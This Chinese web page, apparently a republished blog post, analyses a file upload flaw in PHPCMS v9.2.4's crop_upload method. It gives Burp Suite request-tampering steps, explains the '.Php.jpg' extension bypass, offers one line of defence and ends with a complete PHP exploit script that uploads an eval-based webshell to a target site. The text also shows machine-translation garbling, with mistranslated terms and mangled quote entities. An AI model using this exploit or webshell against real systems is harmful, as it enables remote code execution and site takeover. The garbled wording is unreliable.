首页 » 网站建设 » phpcms上传php文件php文件上传技巧_PHPCMS v924文件上传马脚分析附Exploit

phpcms上传php文件php文件上传技巧_PHPCMS v924文件上传马脚分析附Exploit

duote123 2024-11-22 0

扫一扫用手机浏览

文章目录 [+]

利用条件:由于文件上传利用了Apache解析漏洞,因此只适用于Linux + Apache网站,Windows下的Apache彷佛不存在解析漏洞

1、攻击演示

phpcms上传php文件php文件上传技巧_PHPCMS v924文件上传马脚分析附Exploit

(1)本地搭建phpcms v9.2.4环境

phpcms上传php文件php文件上传技巧_PHPCMS v924文件上传马脚分析附Exploit
(图片来自网络侵删)

(2)随便访问一个页面,用burp suite捉住这个数据包,修正捉住的http数据包如下图所示:

要把稳的几点如下:

1、一定假如POST要求

2、URL中的“m、c、a”这三个参数一定要设置成如图所示

3、URL中的file参数是\"大众http://127.0.0.1/phpcms-924/uploadfile/webshell.Php.jpg\公众的URL编码形式,

个中\"大众http://127.0.0.1/phpcms-924\公众是攻击工具的网址,你可以根据须要修正

4、Content-Type字段不能设置成application/x-www-form-urlencoded,要设置成缺点的格式,在这里我随便写了个xss

(3)然后forward这个数据包就在网站根目录下的/uploadfile目录天生了webshell.Php.jpg文件

2、漏洞剖析

(1)漏洞发生在/phpcms/modules/attachment/attachments.php文件的crop_upload()方法中

public function crop_upload() {if (isset($GLOBALS[\"大众HTTP_RAW_POST_DATA\"大众])) {$pic = $GLOBALS[\公众HTTP_RAW_POST_DATA\"大众];if (isset($_GET['width']) && !empty($_GET['width'])) {$width = intval($_GET['width']);}if (isset($_GET['height']) && !empty($_GET['height'])) {$height = intval($_GET['height']);}if (isset($_GET['file']) && !empty($_GET['file'])) {$_GET['file'] = str_replace(';','',$_GET['file']);if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {$file = $_GET['file'];$basename = basename($file);if (strpos($basename, 'thumb_')!==false) {$file_arr = explode('_', $basename);$basename = array_pop($file_arr);}$new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;} else {pc_base::load_sys_class('attachment','',0);$module = trim($_GET['module']);$catid = intval($_GET['catid']);$siteid = $this->get_siteid();$attachment = new attachment($module, $catid, $siteid);$uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']);if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {$uploadedfile['isimage'] = 1;}$file_path = $this->upload_path.date('Y/md/');pc_base::load_sys_func('dir');dir_create($file_path);$new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];$uploadedfile['filepath'] = date('Y/md/').$new_file;$aid = $attachment->add($uploadedfile);}$filepath = date('Y/md/');file_put_contents($this->upload_path.$filepath.$new_file, $pic);} else {return false;}echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;exit;}}

这个方法对文件的扩展名检测时采取如下代码:

if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php') !== false) exit();

它先调用is_image()函数检测文件是否是图片,这个函数是作者自定义的函数,详细内容请参考phpcms源码,这个函数是通过后缀名白名单来检测的,以是我们把\"大众.jpg\"大众添加到末了,让它通过检测;同时它又调用strpos()函数检测文件名中是否含有\"大众.php\"大众字符串,但这个函数是区分大小写的,我们把文件名设置成\"大众.Php\"大众它就认为不包含\"大众.php\公众字符串;

经由前面两步,我们的文件名\"大众webshell.Php.jpg\公众成为了合法的文件名。

(2)检测完文件名后,作者进行了一次if()条件判断:

if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false)

这条语句的意思是:如果$_GET['file']参数中包含uploadfile目录,则进入if()代码段,否则进入else代码段。

在这里我让它进入了if()代码段,这便是为什么URL中的file参数要包含\公众http://127.0.0.1/phpcms-924/uploadfile/\"大众的缘故原由。

(3)进入if()代码段后,进行的是文件名单拼接事情,直接给原文件名加前缀,没有任何检测,于是乎我们顺利逃过了作者的文件检测。

(4)末了,作者用file_put_contents()函数把POST传输的数据写入到文件中。
在这里要把稳:

$pic变量的值来源于$GLOBALS[\公众HTTP_RAW_POST_DATA\公众],

这个$GLOBALS[\"大众HTTP_RAW_POST_DATA\"大众]变量只有在Content-Type字段的值不能被识别时才会涌现,

因此我们要把http要求的Content-Type字段设置成不可识别的格式。

3、防御策略

在写入文件之前用stripos()函数再次检测文件名中是否含有\"大众.php\"大众字符串,如果有就退出实行,如果没有就连续实行。

4、Exploit

<?php/PHPCMS 9.2.4文件上传漏洞Exploit利用条件: 文件上传利用了Apache解析漏洞,因此只适用于Linux + Apache网站Date: 2017-06-06/set_time_limit(0);function exploit($host) {$host = trim($host);$url = '/index.php?m=attachment&c=attachments&a=crop_upload&file=' . urlencode($host . '/uploadfile/webshell.Php.jpg');$payload = '<?php eval($_REQUEST[\'mysq1\']);?>';$length = strlen($payload);$ch = curl_init($host . $url);curl_setopt($ch, CURLOPT_POST, true);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: xss',\"大众Content-Length: $length\"大众));curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);$response = curl_exec($ch);curl_close($ch);echo $response;}// 目标网站地址(把稳:网址的结尾不能有斜线\"大众/\"大众)$host = 'http://127.0.0.1/phpcms-924';exploit($host);exit();?>
标签:

相关文章

介绍皮肤设置,如何打造理想肌肤状态

随着科技的发展和人们对美的追求,皮肤设置已成为美容护肤的重要一环。如何根据皮肤类型、肤质、年龄等因素进行合理设置,已成为众多爱美人...

网站建设 2025-01-03 阅读1 评论0

介绍盖章制作,传承文化,彰显权威

自古以来,盖章在我国文化中具有重要的地位。从古代的官印、私印到现代的公章、合同章,盖章已成为一种独特的文化符号,承载着丰富的历史内...

网站建设 2025-01-03 阅读1 评论0

介绍监控破坏,技术手段与法律风险并存

随着科技的飞速发展,监控设备已遍布大街小巷,成为维护社会治安的重要手段。一些不法分子为了逃避法律制裁,开始研究如何破坏监控设备。本...

网站建设 2025-01-03 阅读1 评论0

介绍登录不上之谜,技术故障还是人为疏忽

随着互联网的普及,登录已成为人们日常生活中不可或缺的一部分。在享受便捷的登录不上这一问题也困扰着许多用户。本文将深入剖析登录不上之...

网站建设 2025-01-03 阅读1 评论0

介绍电脑键盘调出方法,让操作更高效

随着科技的发展,电脑已经成为了我们日常生活中不可或缺的工具。而电脑键盘,作为电脑输入设备,更是我们与电脑进行交流的桥梁。你是否知道...

网站建设 2025-01-03 阅读1 评论0

介绍磁力链,高效便捷的文件下载利器

在互联网高速发展的今天,文件下载已成为日常生活中不可或缺的一部分。而磁力链作为一种新型的文件下载方式,凭借其高效、便捷的特点,受到...

网站建设 2025-01-03 阅读1 评论0